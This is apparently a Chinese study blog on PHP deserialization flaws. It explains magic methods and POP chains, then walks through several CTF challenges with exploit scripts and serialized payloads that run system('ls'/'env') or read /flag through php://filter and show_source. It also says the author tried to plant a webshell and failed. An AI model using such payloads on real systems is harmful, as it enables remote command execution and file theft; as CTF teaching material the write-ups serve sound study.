序列化

直接将对象数据转化成字符串或者二进制内容。然后进行存储

反序列化

将序列化之后的数据,重新转变为对象

  • 对象在程序中运行时,他是内存中的一项数据。当程序运行结束之后,对象就会被回收,回收完,对象就没有了。
  • 通过序列化将对象的状态,转变成一个具体的数据,保存到你的硬盘上
  • 序列化过程,只保存了对象的数据。而对应的方法是没有保存的。

反序化漏洞

当PHP应用程序接收到未经验证的用户输入,并将其传递给unserialize()函数时,就可能存在反序列化漏洞。攻击者可以通过精心构造的序列化数据来触发漏洞,从而在应用程序中执行任意代码或导致不良行为。

**简单来所就是:**通过控制 序列化之后的结果的值,实现控制程序运行时对象的变量的数据。从而实现攻击

攻击步骤

  1. 找到存在反序列化的传参点
  2. 找到存在高危操作的类 。将高危操作的类中的变量进行覆盖,从而实现危险函数的调用

魔术函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__construct()   对象创建时被调用

__destruct() 对象被销毁时调用

__toString() 方法用于一个类被当成字符串时应怎样回应

__sleep() 在对象被序列化之前自动调用(代码优先级比serialize()高),可以在此方法中指定需要被序列化的属性,返回一个包含对象中所有应被序列化的变量名称的数组

__wakeup() 在对象被反序列化(使用 unserialize() 函数)之前自动调用,可以在此方法中重新初始化对象状态。

__set($property, $value) 当给一个对象的不存在或不可访问(private修饰)的属性赋值时自动调用,传递属性名和属性值作为参数。

__get($property) 当访问一个对象的不存在或不可访问的属性时自动调用,传递属性名作为参数。

__isset($property) 当 对 一个对象的不存在或不可访问的属性 使用 isset() 或 empty() 函数 时自动调用,传递属性名作为参数。
__unset($property) 当 对 一个对象的不存在或不可访问的属性 使用 unset() 函数 时自动调用,传递属性名作为参数。
__invoke() 当将一个对象作为函数进行调用时自动调用。

__clone() 当使用 clone 关键字复制一个对象时自动调用

__debugInfo() 在使用 var_dump() 打印对象时自动调用,用于自定义对象的调试信息。

__call($arg1,$arg2) 在调用一个不存在的方法的时候触发,返回不存在的方法名称和参数

__callStatic($arg1,$arg2) 静态调用或调用成员常量时使用的方法不存在,返回调用的不存在的方法的名称和参数

传入的对象,能触发其他地方的一些高危操作,这个可能是 生命周期函数中的危险操作,也有可能是特殊功能函数中的高危操作

  1. 反序列化的入口点 unserialize()

  2. 构建一条调用链,只想目标危险函数(代码执行、命令执行、文件包含、变量覆盖、文件删除、文件上传)

    A =》 B =》 C.eval()

题目

封神台

image-20240306120514971

先找反序列化的入口点 unserialize()

unserialize在cookie传参处所以只看cookie就行

1
2
3
4
5
6
7
8
if(isset($_COOKIE['todos'])){
$c = $_COOKIE['todos'];
$h = substr($c, 0, 32);
$m = substr($c, 32);
if(md5($m) === $h){
$todos = unserialize($m);
}
}

代码分析

  • 如果有cookie传入的todos参数,如果存在则继续执行下面的代码
  • $c = $_COOKIE['todos'];:将 ‘todos’ cookie 中的值赋给变量 $c
  • $h = substr($c, 0, 32);:使用 substr() 函数从 $c 中提取前 32 个字符,并将结果赋给变量 $h。这部分被假定为哈希值。
  • $m = substr($c, 32);:使用 substr() 函数从 $c 中提取从第 32 个字符开始的剩余部分,并将结果赋给变量 $m。这部分被假定为数据。
  • if(md5($m) === $h){:使用 md5() 函数对变量 $m 进行哈希运算,然后将结果与变量 $h 进行比较。如果两者相等,表示哈希值验证成功,继续执行后续代码。
  • $todos = unserialize($m);:使用 unserialize() 函数将变量 $m 中的数据反序列化,然后将结果赋给变量 $todos。如果哈希验证成功,这将导致反序列化操作。
1
2
3
4
5
6
Class readme{
public function __toString()
{
return highlight_file('Readme.txt', true).highlight_file($this->source, true);
}
}
  • 这段代码的作用是定义了一个 readme 类,其中的 __toString() 方法可以用于将指定文件(Readme.txt)和对象的 $source 属性所指定的文件内容以高亮的形式返回为字符串。
1
2
3
<?php foreach($todos as $todo):?>
<li><?=$todo?></li>
<?php endforeach;?>
  • 这段代码的作用是将名为 $todos 的数组中的每个元素输出为一个 HTML 列表项,适合用于显示待办事项列表等功能。

image-20240306124436468

此时我们需要修改一下源代码,并且将其序列化,输出序列化结果:

a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}

对其进行md5加密然后拼接

e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}

url编码后放到cookie里面

image-20240306124718117

[NISACTF 2022]popchains

image-20240709193156117

Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

class Try_Work_Hard{
protected $var='php://filter/convert.base64-encode/resource=/flag';
}

class Make_a_Change{
public $effort;

}
class Road_is_Long{
public $page;
public $string;
}

$a = new Try_Work_Hard();
$b = new Make_a_Change();
$b -> effort = $a;
$c = new Road_is_Long();
$c ->string = $b;
$d = new Road_is_Long();
$d ->page = $c;


echo "\n".serialize($d)."\n";
echo urlencode(serialize($d));

最终payload

1
O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BN%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A49%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fflag%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D

[SWPUCTF 2022 新生赛]ez_1zpop

image-20240709195601776

Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class lt
{
public $impo='hi';
public $md51='s1836677006a';
public $md52='s1885207154a';
}

class fin
{
public $a="system";
public $url = '1';
public $title="ls";
}

$a = new lt();
$a ->impo = new fin();
echo serialize($a);

最终payload

1
O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:1:"1";s:5:"title";s:2:"ls";}s:4:"md51";s:12:"s1836677006a";s:4:"md52";s:12:"s1885207154a";}

[HZNUCTF 2023 preliminary]ppppop

刚进入一片空白

image-20240709205111398

抓包,修改 admin 0=>1

image-20240709205214555

image-20240709205433741

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

class A
{
public $className = 'B';
public $funcName = 'system';
public $args = 'ls';


}

class B
{
}

$a = new A();
echo serialize($a);

得出来的payload要先翻转,在base64编码

java脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.util.Base64;

public class charTurnOver {
public static void main(String[] args) {
String hex = "O:1:\"A\":3:{s:9:\"className\";s:1:\"B\";s:8:\"funcName\";s:6:\"system\";s:4:\"args\";s:3:\"env\";}";
char[] hexArray = hex.toCharArray();
StringBuilder sb = new StringBuilder();
for (int i = hexArray.length-1; i >= 0; i--) {
sb.append(hexArray[i]);
}
System.out.println(sb.toString());

String s = sb.toString();
String base = Base64.getEncoder().encodeToString(s.getBytes());
System.out.println();
System.out.println(base);
}
}
1
2
3
4
5
6
7
执行ls

fTsic2wiOjI6czsic2dyYSI6NDpzOyJtZXRzeXMiOjY6czsiZW1hTmNudWYiOjg6czsiQiI6MTpzOyJlbWFOc3NhbGMiOjk6c3s6MzoiQSI6MTpP

执行env flag在env里

fTsidm5lIjozOnM7InNncmEiOjQ6czsibWV0c3lzIjo2OnM7ImVtYU5jbnVmIjo4OnM7IkIiOjE6czsiZW1hTnNzYWxjIjo5OnN7OjM6IkEiOjE6Tw==

[NewStarCTF 2023 公开赛道]POP Gadget

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
highlight_file(__FILE__);

class Begin{
public $name;

public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}

class Then{
private $func;

public function __toString()
{
($this->func)();
return "Good Job!";
}

}

class Handle{
protected $obj;

public function __call($func, $vars)
{
$this->obj->end();
}

}

class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}

public function end()
{
die("==GAME OVER==");
}
}

class CTF{
public $handle;

public function end()
{
unset($this->handle->log);
}

}

class WhiteGod{
public $func;
public $var;

public function __unset($var)
{
($this->func)($this->var);
}
}

@unserialize($_POST['pop']);

exp及思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
<?php
class Begin{
public $name;

public function __construct()
{
$this -> name = new Then();
if(preg_match("/[a-zA-Z0-9]/",$this->name)){ //5. name = new Then 触发 __toString()
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}

class Then{
private $func;
public function __construct()
{
$this -> func = new Super();
}

public function __toString()// 4. func = new Super()
{
echo "\n"."yes yes !"."\n";
($this->func)();
return "Good Job!";
}

}

class Handle{
protected $obj;
public function __construct()
{
$this -> obj = new CTF();
}
public function __call($func, $vars)
{
echo "\n"."yes yes !"."\n";
$this->obj->end(); //2. obj = new CTF(); ==> end()
}

}

class Super{
protected $obj;
public function __construct()
{
$this -> obj = new Handle();
}

public function __invoke()
{
echo "\n"."yes yes !"."\n";
$this->obj->getStr(); //3. obj = new Handle ==> call()
}

}

class CTF{
public $handle;
public function __construct()
{
$this -> handle = new WhiteGod();
}

public function end()
{
echo "\n"."yes yes !"."\n";
unset($this->handle->log); //1. hand = new WhiteFog() log = ls;
}

}

class WhiteGod{
public $func = "show_source";
public $var = "file:///flag";

public function __unset($var)
{
echo "\n"."yes yes ! var = ".($this -> var)."\n";
($this->func)($this->var);
}
}

$a = new CTF();
$b = new Handle();
$c = new Super();
$d = new Then();
$f = new Begin();

echo "\n".urlencode(serialize($f))."\n";

写的时候不知道为什么命令执行之后,死活查看不了根目录下的文件,写马也没写上去

在网看了一个wp之后,用文件读取的方法找到了flag

payload

1
O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A10%3A%22%00Then%00func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A11%3A%22show_source%22%3Bs%3A3%3A%22var%22%3Bs%3A12%3A%22file%3A%2F%2F%2Fflag%22%3B%7D%7D%7D%7D%7D%7D